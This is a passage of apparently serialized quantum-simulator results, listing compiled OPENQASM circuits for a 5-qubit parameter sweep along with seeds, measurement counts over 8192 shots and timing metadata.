'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1247', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1846006048, 'status': 'DONE', 'data': {'counts': {'0x3': 1192, '0x1': 855, '0x0': 3217, '0x2': 2928}}, 'success': True, 'shots': 8192, 'time_taken': 0.442715322, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1249', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1869604104, 'status': 'DONE', 'data': {'counts': {'0x3': 1107, '0x1': 936, '0x0': 3126, '0x2': 3023}}, 'success': True, 'shots': 8192, 'time_taken': 0.470579199, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1251', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 783673243, 'status': 'DONE', 'data': {'counts': {'0x3': 987, '0x1': 1106, '0x0': 2912, '0x2': 3187}}, 'success': True, 'shots': 8192, 'time_taken': 0.49388097000000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1253', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3051191876, 'status': 'DONE', 'data': {'counts': {'0x3': 832, '0x1': 1199, '0x0': 2886, '0x2': 3275}}, 'success': True, 'shots': 8192, 'time_taken': 0.47034892500000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1255', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 112637273, 'status': 'DONE', 'data': {'counts': {'0x3': 791, '0x1': 1281, '0x0': 2884, '0x2': 3236}}, 'success': True, 'shots': 8192, 'time_taken': 0.44370368800000004, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1257', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3081476976, 'status': 'DONE', 'data': {'counts': {'0x3': 689, '0x1': 1411, '0x0': 2690, '0x2': 3402}}, 'success': True, 'shots': 8192, 'time_taken': 0.451908405, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1259', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2163622524, 'status': 'DONE', 'data': {'counts': {'0x3': 567, '0x1': 1491, '0x0': 2685, '0x2': 3449}}, 'success': True, 'shots': 8192, 'time_taken': 0.455747775, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1261', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2238528806, 'status': 'DONE', 'data': {'counts': {'0x3': 457, '0x1': 1523, '0x0': 2580, '0x2': 3632}}, 'success': True, 'shots': 8192, 'time_taken': 0.44629279800000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1263', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3418372205, 'status': 'DONE', 'data': {'counts': {'0x3': 390, '0x1': 1637, '0x0': 2417, '0x2': 3748}}, 'success': True, 'shots': 8192, 'time_taken': 0.447320359, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1265', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 84415585, 'status': 'DONE', 'data': {'counts': {'0x3': 323, '0x1': 1727, '0x0': 2377, '0x2': 3765}}, 'success': True, 'shots': 8192, 'time_taken': 0.442120206, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1267', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 470601627, 'status': 'DONE', 'data': {'counts': {'0x3': 242, '0x1': 1797, '0x0': 2258, '0x2': 3895}}, 'success': True, 'shots': 8192, 'time_taken': 0.436049856, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1269', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 58093262, 'status': 'DONE', 'data': {'counts': {'0x3': 200, '0x1': 1866, '0x0': 2238, '0x2': 3888}}, 'success': True, 'shots': 8192, 'time_taken': 0.44158975800000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1271', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2938479717, 'status': 'DONE', 'data': {'counts': {'0x3': 133, '0x1': 1886, '0x0': 2203, '0x2': 3970}}, 'success': True, 'shots': 8192, 'time_taken': 0.45490200000000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) 